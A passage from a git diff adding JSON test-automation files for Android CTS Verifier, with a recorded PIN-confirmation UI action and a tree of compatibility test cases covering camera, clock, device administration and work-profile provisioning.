PIN\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/suc_layout_title\",\"text\":\"Re-enter your PIN\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":139.33333333333334,\"x2\":339.0,\"y2\":167.66666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.5,\"y\":-1.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":4,\"firstText\":\"Re-enter your PIN\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/sud_layout_header\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":48.333333333333336,\"x2\":360.0,\"y2\":169.33333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":184.5,\"y\":154.5,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-4.5,\"y\":-45.66666666666666,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":4,\"leafNodeContext\":\"b153876f-78a9-4f3d-b78c-eb1d763bebb5\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Re-enter your PIN\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":84.0,\"y1\":140.0,\"x2\":285.0,\"y2\":169.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Enter key\",\"actionId\":\"0d96dc56-3ede-458c-be62-2eb1f6a19a5b\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"RESOURCEID\",\"selector\":\"com.google.android.inputmethod.latin:id/key_pos_ime_action\"}],\"childrenIdList\":[\"79864d94-6d67-45e9-9da5-85a175acde95\",\"af677fa8-0e4c-4c4e-9159-f91129b44e83\",\"0d96dc56-3ede-458c-be62-2eb1f6a19a5b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Confirm PIN lock \"14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.265000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases_tree/63104176-2f2c-4ad5-8af9-db1c78ae7a9e b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases_tree/63104176-2f2c-4ad5-8af9-db1c78ae7a9e
new file mode 100644
index 0000000..3b30aef
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases_tree/63104176-2f2c-4ad5-8af9-db1c78ae7a9e
@@ -0,0 +1 @@
+{"uuid":"63104176-2f2c-4ad5-8af9-db1c78ae7a9e","user_id":"","project_id":"37a24f51-c935-40ba-904e-4929ace49644","group_id":"","tree_details":"{\"id\":\"#\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CTS-V\",\"id\":\"1\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Audio\",\"id\":\"DA27BDD0-0F33-4392-A111-F83CA91AE550\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"77FF44E3-3BB5-494A-BF92-4B5FC6953030\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click I'm done\",\"id\":\"2abe83e3-a05c-4599-9007-3efbabf97020\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"2abe83e3-a05c-4599-9007-3efbabf97020\"]},{\"value\":\"Turn off Do not disturb on quick setting\",\"id\":\"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"0c8249de-dac1-4b3c-852d-cfc4fbbfefbb\"]},{\"value\":\"Turn on Do not Disturb on quick setting\",\"id\":\"c6612b18-5a86-4e82-b7fe-7487ddc09db1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c6612b18-5a86-4e82-b7fe-7487ddc09db1\"]}]},{\"value\":\"test_Ringer Mode Tests\",\"id\":\"13c45392-93fc-4bf8-8983-fd7be6dc8af6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"13c45392-93fc-4bf8-8983-fd7be6dc8af6\"]}]},{\"value\":\"Camera\",\"id\":\"E3ECC07D-A462-4A52-B41D-B367ABE53B7A\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"5F798FA5-FC2F-4345-B5A6-992843727318\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Camera Intents\",\"id\":\"A4F6CC7E-D042-48B7-86EC-4980FDDD03CC\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click Start Test button\",\"id\":\"740de7a4-51a7-411c-bf5f-424945116764\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"740de7a4-51a7-411c-bf5f-424945116764\"]},{\"value\":\"Open Camera\",\"id\":\"b40e7a89-24b7-4cf7-8942-4733b0536edc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b40e7a89-24b7-4cf7-8942-4733b0536edc\"]},{\"value\":\"Open location permission of CTS-V\",\"id\":\"852558c2-18ad-4540-bab9-6f2da206f8cb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"852558c2-18ad-4540-bab9-6f2da206f8cb\"]},{\"value\":\"Start recording\",\"id\":\"fde8df69-89b4-42eb-8f6a-d67be2ca8770\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"fde8df69-89b4-42eb-8f6a-d67be2ca8770\"]},{\"value\":\"Stop recording\",\"id\":\"3815d172-f8cb-41b5-9bb3-5b3694bebd96\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3815d172-f8cb-41b5-9bb3-5b3694bebd96\"]},{\"value\":\"Sub-cases\",\"id\":\"87B3A9F7-E4C9-43BF-BDC0-56E90A95DAA0\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Camera Intents-Test 1\",\"id\":\"339f5cb7-0ae4-4405-bd6b-ebf91aa53125\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"339f5cb7-0ae4-4405-bd6b-ebf91aa53125\"]},{\"value\":\"Camera Intents-Test 2\",\"id\":\"26e141bc-1cb7-4228-865c-40de24919e2d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"26e141bc-1cb7-4228-865c-40de24919e2d\"]},{\"value\":\"Camera Intents-Test 3 and 4\",\"id\":\"29474691-30f5-4d1c-a1ac-afe0beb0e971\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"29474691-30f5-4d1c-a1ac-afe0beb0e971\"]},{\"value\":\"Camera Intents-Test 5\",\"id\":\"1c5b786d-f4e0-44ea-8833-ab551a67815c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1c5b786d-f4e0-44ea-8833-ab551a67815c\"]}]},{\"value\":\"Take photo\",\"id\":\"b1c2250d-2c83-4698-8e4f-e80b296153d9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b1c2250d-2c83-4698-8e4f-e80b296153d9\"]}]},{\"value\":\"Camera Orientation\",\"id\":\"71EE444F-6C00-4EBE-904B-86F3B60BE2A6\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click \\\"Take Photo\\\" button\",\"id\":\"afa8e79c-e104-4611-830d-f7aac106a6a6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"afa8e79c-e104-4611-830d-f7aac106a6a6\"]}]},{\"value\":\"Camera Performance\",\"id\":\"41BC0D73-3277-440D-A39E-30F2AE72EB37\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"If Test result alert screen pop up, dismiss it.\",\"id\":\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"15bf913f-b3ab-4580-aaea-4a8bb50191b1\"]}]}]},{\"value\":\"test_Camera Formats\",\"id\":\"8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8dd0e093-a239-45e8-ae92-b8ac6e3ad4b7\"]},{\"value\":\"test_Camera Intents\",\"id\":\"a91daeb8-73a8-424c-8e9f-c3c6ddef543c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a91daeb8-73a8-424c-8e9f-c3c6ddef543c\"]},{\"value\":\"test_Camera Orientation(Check image)\",\"id\":\"8d92c21e-306b-4992-822e-10c25a38d781\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8d92c21e-306b-4992-822e-10c25a38d781\"]},{\"value\":\"test_Camera Performance\",\"id\":\"3d93f0c9-abd2-4d15-92a3-5fc55f696ba9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3d93f0c9-abd2-4d15-92a3-5fc55f696ba9\"]}]},{\"value\":\"Car\",\"id\":\"9C6325A7-F116-4853-AE26-AB4C22E8054C\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"test_Car Dock Test\",\"id\":\"69b2597b-78ef-450d-975a-d5bef105c512\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"69b2597b-78ef-450d-975a-d5bef105c512\"]}]},{\"value\":\"Clock\",\"id\":\"710A9895-E03E-4496-A57F-F2F946AD5A25\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"11FEA4B2-3E36-45F8-92C3-B7E70D3D634A\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Delete the alarm\",\"id\":\"61f8f3bd-bae5-4a38-949c-f759cda9375e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"61f8f3bd-bae5-4a38-949c-f759cda9375e\"]},{\"value\":\"Open Alarms and Timers Tests \",\"id\":\"3832f622-3408-4968-9429-c0c9e11905d5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3832f622-3408-4968-9429-c0c9e11905d5\"]}]},{\"value\":\"test_Alarms and Timers Tests-Full Alarm Test\",\"id\":\"c42d7405-be13-45c1-bead-84f86ce54262\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c42d7405-be13-45c1-bead-84f86ce54262\"]},{\"value\":\"test_Alarms and Timers Tests-Set Alarm Test\",\"id\":\"ed26761a-7dc5-4235-a35f-48025edbd3f3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ed26761a-7dc5-4235-a35f-48025edbd3f3\"]},{\"value\":\"test_Alarms and Timers Tests-Set Timer Test\",\"id\":\"10a43a2f-1557-43cb-b85f-95ced16d5bb4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"10a43a2f-1557-43cb-b85f-95ced16d5bb4\"]},{\"value\":\"test_Alarms and Timers Tests-Show Alarms Test\",\"id\":\"7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8\"]}]},{\"value\":\"Device Administration\",\"id\":\"BC7AC88A-290B-4DB0-ACE3-352EC4DBFE4E\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Screen Lock Test\",\"id\":\"EDD03C7C-D9EE-40DF-AE33-FA7D6C782801\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Confirm PIN or Password lock \\\"1234\\\"\",\"id\":\"bb6f039b-70ef-41a6-9880-20e383ba74d5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bb6f039b-70ef-41a6-9880-20e383ba74d5\"]},{\"value\":\"Confirm Pattern lock\",\"id\":\"3efd7d24-773f-4254-9432-207fa91ad20f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3efd7d24-773f-4254-9432-207fa91ad20f\"]},{\"value\":\"Draw pattern lock\",\"id\":\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7be12173-7685-4bcd-bb2e-acdfbbe394a1\"]},{\"value\":\"Enter PIN or Password \\\"1234\\\"\",\"id\":\"d348b7ed-2aae-47cb-b900-44247d03c629\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d348b7ed-2aae-47cb-b900-44247d03c629\"]},{\"value\":\"Set \\\"PIN\\\" lock to \\\"1234\\\"\",\"id\":\"49bfb869-2ef5-4df6-8fff-3192112b82a2\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"49bfb869-2ef5-4df6-8fff-3192112b82a2\"]},{\"value\":\"Set Password lock to \\\"1234\\\"\",\"id\":\"e1d66f34-6024-4d89-b511-399897ba2464\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e1d66f34-6024-4d89-b511-399897ba2464\"]},{\"value\":\"Set Pattern lock\",\"id\":\"cf6c2d6d-a4fe-4981-af4b-f561291f847b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cf6c2d6d-a4fe-4981-af4b-f561291f847b\"]},{\"value\":\"Set screen lock to \\\"None\\\"\",\"id\":\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"72f62d5f-9a3a-4c4d-813c-96614b1c5845\"]},{\"value\":\"Set screen lock to \\\"Swipe\\\"\",\"id\":\"1e49e89c-6a23-487a-86d9-a2244d725017\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1e49e89c-6a23-487a-86d9-a2244d725017\"]}]},{\"value\":\"test_Device Admin Tapjacking Test\",\"id\":\"24e3e587-1271-4917-a395-3feff520ca73\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"24e3e587-1271-4917-a395-3feff520ca73\"]},{\"value\":\"test_Device Admin Uninstall Test\",\"id\":\"ef1953d2-3590-451b-a0a5-e129f37a328e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"ef1953d2-3590-451b-a0a5-e129f37a328e\"]},{\"value\":\"test_Policy Serialization Test\",\"id\":\"06810fdd-824c-400e-bbff-edf98e42d3e8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"06810fdd-824c-400e-bbff-edf98e42d3e8\"]},{\"value\":\"test_Screen Lock Test\",\"id\":\"e056b93a-c19a-4f20-9cd8-640a8523dec4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e056b93a-c19a-4f20-9cd8-640a8523dec4\"]}]},{\"value\":\"Instant Apps\",\"id\":\"046B5069-964F-46DC-B884-86017EAA21CE\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"12F1DCE2-4FAC-4691-A55F-5E5B293989A6\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click Start Test button\",\"id\":\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7ccaea57-2cd8-466d-b5fa-abbfb89831b3\"]},{\"value\":\"Install Instant App\",\"id\":\"b53eeaf5-391f-4964-84fa-d086c2b938e1\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b53eeaf5-391f-4964-84fa-d086c2b938e1\"]},{\"value\":\"Verify if Sample Instant App for Testing exists\",\"id\":\"f89554c3-fe5e-4a96-aa56-261a920a689a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f89554c3-fe5e-4a96-aa56-261a920a689a\"]}]},{\"value\":\"test_Instant Apps Notification Test\",\"id\":\"c60af00e-9503-4c6d-a6f1-410419405024\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c60af00e-9503-4c6d-a6f1-410419405024\"]},{\"value\":\"test_Instant Apps Recents Test(Check image)\",\"id\":\"c21b516b-b794-463c-8bd1-649826d334bb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c21b516b-b794-463c-8bd1-649826d334bb\"]},{\"value\":\"test_View/Delete Instant Apps Test\",\"id\":\"82a744f4-d253-4c94-aa27-c798b739cfbc\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"82a744f4-d253-4c94-aa27-c798b739cfbc\"]}]},{\"value\":\"Main flow\",\"id\":\"efa1531b-c47e-47c6-9d0b-adc244b0a251\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"efa1531b-c47e-47c6-9d0b-adc244b0a251\"]},{\"value\":\"Managed Provisioning\",\"id\":\"7FCECBB4-E7F4-44C1-81FC-CA7CEB894CDD\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"CPD\",\"id\":\"6400C53C-6174-43FD-A7AD-5FE260F1EF88\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"BYOD Managed Provisioning\",\"id\":\"914A5FF9-405D-45EA-8DFD-57E48265A006\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"11_Profile-aware location settings\",\"id\":\"53A90239-1420-4EBC-A32D-C04DA55D071C\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Assert the main location go into 'off' state\",\"id\":\"a5cd361e-a0c1-493b-9029-bc0855d3503c\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a5cd361e-a0c1-493b-9029-bc0855d3503c\"]},{\"value\":\"Assert the main location go into 'on' state\",\"id\":\"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bb60c1a1-ad06-43a9-b25c-a447f7bd0ad3\"]},{\"value\":\"Assert the work profile location go disabled and into 'off' state\",\"id\":\"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5caa8a3a-bdb2-4642-87b7-b5d5f855b32b\"]},{\"value\":\"Assert the work profile location go enabled and into its previous state off\",\"id\":\"46149c51-f989-4ff1-98c5-18a09bcb4fa5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"46149c51-f989-4ff1-98c5-18a09bcb4fa5\"]},{\"value\":\"Assert the work profile location go enabled and into its previous state on\",\"id\":\"73572186-21d3-4f07-9b89-dd5f35a0a943\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"73572186-21d3-4f07-9b89-dd5f35a0a943\"]},{\"value\":\"Make sure the main location switch on before test\",\"id\":\"8d1d94a2-d11b-4f87-a55a-3d13bc488360\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8d1d94a2-d11b-4f87-a55a-3d13bc488360\"]},{\"value\":\"Make sure the work profile location switch on before test\",\"id\":\"f9a2bad7-a95c-4899-a5a1-c5eb32932abf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"f9a2bad7-a95c-4899-a5a1-c5eb32932abf\"]},{\"value\":\"Switch the main location switch at the top of the screen on/off\",\"id\":\"dab0d2a9-befa-4378-bea1-b9d830417b93\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"dab0d2a9-befa-4378-bea1-b9d830417b93\"]},{\"value\":\"Switch the work profile location for different state\",\"id\":\"d3945e10-840f-4cae-8f1a-39db0e4ac6cb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d3945e10-840f-4cae-8f1a-39db0e4ac6cb\"]}]},{\"value\":\"13_Personal ringtones\",\"id\":\"B7FEB91D-F263-4647-B1F3-15FE61709900\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Scroll to the ringtone checked\",\"id\":\"8b466564-08e5-4322-8992-36fa3998ddd2\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"8b466564-08e5-4322-8992-36fa3998ddd2\"]},{\"value\":\"Select the different ringtone (downward else upward)\",\"id\":\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"05139d97-d39c-43cd-8ad4-a276c3fcf5a6\"]}]},{\"value\":\"Check if it's on the main screen of BYOD\",\"id\":\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"cf1e8e8c-2104-46f1-8b28-4d372b86fc49\"]},{\"value\":\"Press Go on dialog\",\"id\":\"b70fe893-88de-4879-90ab-c2929211baa8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"b70fe893-88de-4879-90ab-c2929211baa8\"]},{\"value\":\"Press Pass on dialog\",\"id\":\"11862730-912f-4b3c-99d6-cff28c749559\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"11862730-912f-4b3c-99d6-cff28c749559\"]},{\"value\":\"Sub-cases\",\"id\":\"D760FE32-D1D1-4A64-9BAD-0DA84D00BB1D\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"01_Profile owner installed\",\"id\":\"015882d1-9ce9-4b67-a7e3-925ee0798fe4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"015882d1-9ce9-4b67-a7e3-925ee0798fe4\"]},{\"value\":\"02_Full disk encryption enabled\",\"id\":\"6d46cead-4200-4830-ab73-aa5b72d8cee0\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"6d46cead-4200-4830-ab73-aa5b72d8cee0\"]},{\"value\":\"03_Badged work apps visible in launcher(Check image)\",\"id\":\"731c2600-1169-402e-91ee-98a4dd31506f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"731c2600-1169-402e-91ee-98a4dd31506f\"]},{\"value\":\"04_Work notification is badged(Check image)\",\"id\":\"5e7a1b39-3e17-45e2-863f-ad55e97d901f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"5e7a1b39-3e17-45e2-863f-ad55e97d901f\"]},{\"value\":\"05_Work status icon is displayed\",\"id\":\"9e63b2da-d744-4a93-907f-3486c60407cb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"9e63b2da-d744-4a93-907f-3486c60407cb\"]},{\"value\":\"06_Profile-aware accounts settings\",\"id\":\"c98b2d13-1b60-48d2-b05b-00252bb1c900\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c98b2d13-1b60-48d2-b05b-00252bb1c900\"]},{\"value\":\"07_Profile-aware device administrator settings(Check image)\",\"id\":\"c8aa9cc8-5d60-4130-b8ed-217545c43231\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c8aa9cc8-5d60-4130-b8ed-217545c43231\"]},{\"value\":\"08_Profile-aware trusted credential settings\",\"id\":\"d9789ba1-6855-459c-9d3f-30799e7dcb87\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d9789ba1-6855-459c-9d3f-30799e7dcb87\"]},{\"value\":\"09_Profile-aware user settings\",\"id\":\"4994c7d8-acaf-4272-b8f5-6768561cf2cf\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4994c7d8-acaf-4272-b8f5-6768561cf2cf\"]},{\"value\":\"10_Profile-aware app settings(Check image)\",\"id\":\"1d4b27f3-51f7-4f20-b674-f5a097b6d7d5\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1d4b27f3-51f7-4f20-b674-f5a097b6d7d5\"]},{\"value\":\"11_Profile-aware location settings\",\"id\":\"11db7055-3e2e-475f-8620-1bef6bb6f5bd\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"11db7055-3e2e-475f-8620-1bef6bb6f5bd\"]},{\"value\":\"12_Profile-aware printing settings(Check image)\",\"id\":\"d342c4dd-f898-4df1-aa92-cf6ac97d772a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"d342c4dd-f898-4df1-aa92-cf6ac97d772a\"]},{\"value\":\"13_Personal ringtones\",\"id\":\"acc515c6-092f-4d36-898f-4c8d33652223\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"acc515c6-092f-4d36-898f-4c8d33652223\"]},{\"value\":\"27_Confirm pattern lock test\",\"id\":\"3be8537e-efa4-4056-ba31-899cb90c8702\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"3be8537e-efa4-4056-ba31-899cb90c8702\"]},{\"value\":\"30_Personal password test\",\"id\":\"60e745a0-f30e-4679-a41a-45afbf5ace0e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"60e745a0-f30e-4679-a41a-45afbf5ace0e\"]}]},{\"value\":\"Verify Personal and Work tabs\",\"id\":\"4aa267cc-73f0-487e-aa22-e57d487ff769\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4aa267cc-73f0-487e-aa22-e57d487ff769\"]}]},{\"value\":\"BYOD Provisioning tests\",\"id\":\"33BE4401-789B-4AFA-B094-AD3F728C15DD\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Remove work profile\",\"id\":\"c6ce936e-5dc7-4eee-a2a0-171ccb438ae7\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c6ce936e-5dc7-4eee-a2a0-171ccb438ae7\"]},{\"value\":\"Sub-cases\",\"id\":\"49FA0E71-DDB7-4D93-BB51-0705E1726273\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"01_Custom provisioning color(Check image)\",\"id\":\"a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"a66b98b1-5ae4-4e60-9f51-1afb7c1c4f7e\"]},{\"value\":\"02_Custom provisioning image(Check image)\",\"id\":\"7265db9b-8461-4c01-8b11-809b8e346327\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7265db9b-8461-4c01-8b11-809b8e346327\"]},{\"value\":\"03_Custom terms\",\"id\":\"e097807f-e110-411e-9f04-02442fad05d2\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e097807f-e110-411e-9f04-02442fad05d2\"]}]}]},{\"value\":\"Device Owner Requesting Bugreport Tests\",\"id\":\"4C74B2E4-1C12-47ED-B8B2-C5B4DF0785C7\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"Click Decline button\",\"id\":\"7eec7b1d-4c98-48f8-ab8b-8c82006cfef4\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"7eec7b1d-4c98-48f8-ab8b-8c82006cfef4\"]},{\"value\":\"Click Request bugreport button\",\"id\":\"4275df2b-8d38-49a9-b956-6d5f06257f5a\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4275df2b-8d38-49a9-b956-6d5f06257f5a\"]},{\"value\":\"Click Share button\",\"id\":\"377a3a65-66d4-4e05-ac35-b9e4196639e9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"377a3a65-66d4-4e05-ac35-b9e4196639e9\"]},{\"value\":\"Sub-cases\",\"id\":\"C11E9586-0D08-45AC-8361-66EE085F6C47\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"01-Check device owner\",\"id\":\"bd22d00c-3bff-4749-8763-3323c17809bb\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bd22d00c-3bff-4749-8763-3323c17809bb\"]},{\"value\":\"02-Sharing of requested bugreport declined while being taken\",\"id\":\"c3700e79-6895-4fa0-8b1b-d34c5fa5b82d\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"c3700e79-6895-4fa0-8b1b-d34c5fa5b82d\"]},{\"value\":\"03-Sharing of requested bugreport accepted while being taken\",\"id\":\"873d0871-f3ae-42db-a3e2-f298e3c8c9d9\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"873d0871-f3ae-42db-a3e2-f298e3c8c9d9\"]},{\"value\":\"04-Sharing of requested bugreport declined after having been taken\",\"id\":\"1e25fe0b-764b-414e-b3e3-e9c11269ad93\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"1e25fe0b-764b-414e-b3e3-e9c11269ad93\"]},{\"value\":\"05-Sharing of requested bugreport accepted after having been taken\",\"id\":\"e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"e2d2a682-55b0-4e2c-ad2d-801e77f1cb6f\"]},{\"value\":\"06-Remove device owner\",\"id\":\"bdac4f2a-64a2-460c-a210-399cd652cfa8\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"bdac4f2a-64a2-460c-a210-399cd652cfa8\"]}]},{\"value\":\"Verify if screen back to Device Owner requesting Bugreport \",\"id\":\"4f3ec13b-589a-4ca3-b456-7224028d0604\",\"emitLoadNextLevel\":false,\"children\":[],\"additionalData\":[\"4f3ec13b-589a-4ca3-b456-7224028d0604\"]}]},{\"value\":\"Device Owner Tests\",\"id\":\"AD3511CC-9A26-43CF-9C89-C4C82116982F\",\"emitLoadNextLevel\":false,\"children\":[{\"value\":\"02 &amp; 17-02-Device administrator 